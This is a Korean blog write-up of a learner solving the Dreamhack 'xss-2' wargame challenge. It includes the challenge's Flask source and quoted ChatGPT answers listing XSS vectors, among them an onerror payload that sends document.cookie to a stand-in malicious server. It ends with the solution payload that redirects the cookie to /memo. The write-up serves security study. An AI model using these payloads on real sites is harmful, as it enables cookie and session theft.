38번째 문제 가보자구 WEB 문제다
https://imaginefuture-1.tistory.com/38
xxs-1에 이은 xxs-2 문제다
홈페이지는 외관상 똑같다.
소스코드나 보자...
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
xss -1 코드랑 비교했더니 아무리 봐도 똑같아 보이길래
뭐지 해서 질문 글을 읽다보니
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
이게 xss-1의 경우에는 템플릿으로 반환에서 script 태그가 작동하지만
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
xss-2에서는 html 자체에서 url에서 입력값을 받아와 innerHTML을 해줍니다.
innerHTML에서는 script태그가 작동하지 않는것이 정상입니다.
https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0
그럼..뭐가 작동하죠..?
(먼산)
지피티야 지피티야!
gpt:
`innerHTML`을 사용할 때 `<script>` 태그가 작동하지 않는 이유는 DOM이 이미 로드된 후에 `innerHTML`로 추가된 스크립트가 실행되지 않기 때문입니다. 이를 해결하기 위해 몇 가지 방법이 있습니다:
1. **`createElement` 사용**:
스크립트를 동적으로 생성하여 추가할 수 있습니다.
```javascript
var script = document.createElement('script');
script.src = 'your-script.js'; // 외부 스크립트 파일 경로
document.body.appendChild(script); // 또는 원하는 위치에 추가
```
2. **`eval` 사용**:
문자열로 작성된 JavaScript 코드를 실행할 수 있지만, 보안 및 성능 문제로 인해 이 방법은 권장되지 않습니다.
```javascript
var code = "console.log('Hello World!');";
eval(code);
```
3. **`setTimeout` 사용**:
`innerHTML`로 추가한 후, 일정 시간 후에 스크립트를 실행할 수 있습니다.
```javascript
document.getElementById('your-element').innerHTML = '<div>Hello World!</div>';
setTimeout(function() {
// 여기에 실행할 스크립트를 넣습니다.
console.log('Script executed!');
}, 0);
```
4. **템플릿 리터럴 사용**:
ES6의 템플릿 리터럴을 이용하여 HTML과 JavaScript를 함께 작성하고, `innerHTML` 대신 `insertAdjacentHTML` 또는 다른 방법으로 삽입할 수 있습니다.
이러한 방법을 통해 동적으로 스크립트를 추가하거나 실행할 수 있습니다. 가장 안전하고 일반적으로 권장되는 방법은 `createElement`를 사용하는 것입니다.
흠... 그렇다면
지피티야 지피티야!
이 코드에서 xss 공격을 할 수 있는 태그가 뭐야!
gpt:
이 Flask 애플리케이션에서 XSS(교차 사이트 스크립팅) 공격을 할 수 있는 태그는 사용자가 입력할 수 있는 `param` 매개변수입니다. `param`은 URL 쿼리 파라미터로 전달되어 `check_xss` 함수에서 사용됩니다. 사용자가 이 매개변수에 JavaScript 코드를 포함한 문자열을 입력하면, 해당 코드가 클라이언트의 브라우저에서 실행될 수 있습니다.
### 공격 가능한 태그 예시
1. **스크립트 태그**:
```javascript
<script>alert('XSS');</script>
```
이건 처음해본거, 안먹혔다. 스크립트! no!
2. **이벤트 핸들러**:
HTML 요소에 이벤트 핸들러를 추가하여 XSS를 수행할 수 있습니다. 예를 들어, `onerror` 속성을 사용할 수 있습니다.
```html
<img src="invalid.jpg" onerror="alert('XSS');">
```
스크립트가 유일하게 없군. onerror 속성을 사용해 풀어야 할 것 같다
3. **스타일 태그**:
CSS와 함께 사용할 수 있는 방법으로, `expression` 속성을 사용하여 JavaScript를 실행할 수 있습니다(구형 브라우저에서만 가능).
```html
<div style="width: expression(alert('XSS'));"></div>
```
구형..? 우린 크롬이라고~
4. **HTML 주석 내에서의 스크립트**:
주석을 이용해 스크립트를 숨기는 방법입니다.
```html
<!-- <script>alert('XSS');</script> -->
```
너도 스크립트 패스
### 공격 흐름
1. 사용자가 `/flag` 경로에서 `param`에 악의적인 스크립트를 입력합니다.
2. 이 입력값은 `check_xss` 함수에서 URL로 전달되어 Selenium 브라우저로 열립니다.
3. 브라우저가 이 URL을 로드하고 악성 스크립트가 실행됩니다.
### 방어 방법
- **입력 값 검증 및 정제**: 사용자 입력을 필터링하고, HTML 특수 문자를 이스케이프하여 스크립트 실행을 방지해야 합니다.
- **CSP(콘텐츠 보안 정책) 설정**: CSP를 통해 신뢰할 수 있는 스크립트 출처를 정의하여 XSS 공격을 줄일 수 있습니다.
- **HTTPOnly 쿠키 사용**: 스크립트가 쿠키에 접근하지 못하도록 하여 민감한 정보를 보호할 수 있습니다.
이와 같은 XSS 공격의 가능성을 염두에 두고, 애플리케이션에서 사용자 입력을 처리할 때는 항상 보안에 유의해야 합니다.
지피티야 지피티야! onerro 속성에 대해 더 자세히 알려줘!!
gpt:
`onerror` 속성은 HTML 요소에서 발생하는 오류를 처리하기 위한 JavaScript 이벤트 핸들러입니다. 주로 이미지(`<img>`), 스크립트(`<script>`), 스타일시트(`<link>`) 등과 같은 요소에서 사용됩니다. 이 속성을 사용하면 특정 이벤트가 발생했을 때(예: 이미지가 로드되지 않거나 스크립트가 실패할 때) 실행할 JavaScript 코드를 지정할 수 있습니다.
### 주요 특징
1. **사용 사례**:
- 이미지가 로드되지 않을 때 사용자에게 대체 이미지를 표시하거나 경고 메시지를 보여주는 데 사용됩니다.
- 스크립트 또는 스타일시트가 로드되지 않았을 때 대체 행동을 취하는 데 활용됩니다.
2. **문법**:
`onerror` 속성은 HTML 요소의 속성으로 설정되며, JavaScript 코드를 포함할 수 있습니다.
```html
<img src="invalid-image.jpg" onerror="this.src='fallback.jpg'; alert('Image failed to load.');">
```
위의 예에서는 이미지가 로드되지 않으면 `fallback.jpg`를 소스로 설정하고 경고 메시지를 표시합니다.
3. **HTML 요소**:
- `<img>`: 이미지가 로드되지 않았을 때 사용할 수 있습니다.
- `<script>`: 스크립트 로드 실패 시 오류 처리에 사용할 수 있습니다.
- `<link>`: CSS 파일이 로드되지 않을 때 대체 스타일을 적용할 수 있습니다.
### XSS 공격 벡터
`onerror` 속성은 XSS(교차 사이트 스크립팅) 공격에 악용될 수 있는 중요한 벡터입니다. 공격자는 다음과 같이 악성 스크립트를 삽입할 수 있습니다:
```html
<img src="invalid.jpg" onerror="alert('XSS');">
```
위의 코드가 브라우저에 렌더링되면, 이미지를 로드할 수 없을 때 `onerror` 이벤트가 발생하고, 사용자의 브라우저에서 `alert('XSS');`가 실행됩니다. 이와 같은 방식으로, 공격자는 악의적인 JavaScript 코드를 실행하여 사용자 정보를 탈취하거나, 세션을 하이재킹하는 등의 공격을 수행할 수 있습니다.
### 방어 방법
1. **입력 검증 및 정제**:
- 사용자 입력을 철저히 검증하고 정제하여 스크립트 삽입을 방지합니다.
2. **CSP(Content Security Policy)**:
- CSP를 설정하여 외부 소스에서 로드된 스크립트의 실행을 제한할 수 있습니다. 이는 XSS 공격의 위험을 줄이는 데 도움을 줍니다.
3. **JavaScript 코드 외부화**:
- JavaScript 코드를 인라인으로 작성하기보다는 외부 스크립트 파일로 관리하여 보안성을 높일 수 있습니다.
4. **HTML 이스케이핑**:
- 사용자 입력을 출력하기 전에 HTML 특수 문자를 이스케이프하여 잠재적인 스크립트 실행을 방지합니다.
이러한 방어 방법들을 통해 `onerror` 속성을 악용한 XSS 공격의 위험을 줄일 수 있습니다.
헛 그러면 gpt야 onerror속성으로 쿠키 값 알 수 있는 스크립트 알려줄래?
아마 document.cookie가 나오겠찌
gpt:
`onerror` 속성을 이용하여 쿠키 값을 탈취하는 간단한 XSS 공격 스크립트를 만들 수 있습니다. 이 스크립트는 이미지 로드 실패 시 실행되는 JavaScript 코드를 포함합니다. 사용자가 악성 코드를 포함한 URL을 통해 페이지에 접근할 경우, 쿠키 정보를 서버로 전송할 수 있습니다.
### 예제 스크립트
```html
<img src="invalid-image.jpg" onerror="fetch('http://your-malicious-server.com/steal?cookie=' + document.cookie);">
```
### 설명
1. **`<img>` 요소**: `src` 속성이 잘못된 이미지 URL을 사용하여 로드 실패를 유도합니다. 이 경우 `invalid-image.jpg`는 존재하지 않는 이미지입니다.
2. **`onerror` 속성**: 이미지가 로드되지 않으면 `onerror` 이벤트가 발생합니다. 이 이벤트 핸들러는 다음 JavaScript 코드를 실행합니다:
- `document.cookie`: 현재 문서의 쿠키 값을 가져옵니다.
- `fetch('http://your-malicious-server.com/steal?cookie=' + document.cookie)`: 쿠키 값을 포함한 GET 요청을 악성 서버로 전송합니다.
### 주의사항
- **윤리적 책임**: 이와 같은 스크립트는 실제 공격에 사용될 수 있으므로, 이를 작성하고 배포하는 것은 불법이며 윤리적으로 잘못된 행동입니다. 이 정보를 사용하는 목적은 보안 교육 및 방어를 위한 것이어야 하며, 절대로 악용해서는 안 됩니다.
- **방어책**: 이런 공격을 방지하기 위해서는 웹 애플리케이션에서 XSS 취약점을 제거하고, CSP(콘텐츠 보안 정책)를 설정하며, 쿠키에 `HttpOnly` 플래그를 설정하는 등의 방법을 사용하는 것이 중요합니다.
### 방어 방법 요약
1. **사용자 입력 검증**: 모든 사용자 입력을 철저히 검증하고 필터링합니다.
2. **CSP 설정**: 콘텐츠 보안 정책을 통해 외부 스크립트 실행을 제한합니다.
3. **쿠키 보호**: `HttpOnly` 플래그를 사용하여 JavaScript에서 쿠키에 접근할 수 없도록 설정합니다.
4. **정적 파일 제공**: 항상 신뢰할 수 있는 출처에서만 스크립트와 스타일시트를 로드합니다.
이러한 방어책들을 적용하여 XSS 공격을 예방하고 애플리케이션을 보호할 수 있습니다.
fetch('http://127.0.0.1:8000/?cookie=' + document.cookie)
좋아 집어 넣어보자!
다시 접속..
뭔가 이상해서 다시 지피티 말을 읽었다.
요소가 필요하다. 그래야 onerror속성이 작동한단말이다..
이미지..이미지가 뜨면 작동하게
끄아아아
결국 블로그 풀이를 봤다
https://pd6156.tistory.com/219
<img src="xss" onerror="location.href='/memo?memo='+document.cookie">
1. img 태그 이용
2. xss-1 소스코드랑 거의 달라지지않기에 뒤에는 똑같이 해도 상관없다.
이 두개!! 두개만 알았어도!!!
하아아아아아아
거의 다왔는데ㅔ에에ㅔ에에
그래도 혼자 나름 이정도까지 생각한게 뿌듯하다!!! 깔깔
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[40] IT 비전공자 [dreamhack]csrf-2문제 풀기 (2) | 2024.10.19 |
---|---|
[39] IT 비전공자 [dreamhack]csrf-1문제 풀기 (10) | 2024.10.18 |
[37] IT 비전공자 [dreamhack]simple_sqli문제 풀기 (4) | 2024.10.16 |
[36] IT 비전공자 [dreamhack]xss-1문제 풀기 (2) | 2024.10.15 |
[35] IT 비전공자 [dreamhack]session-basic문제 풀기 (4) | 2024.10.14 |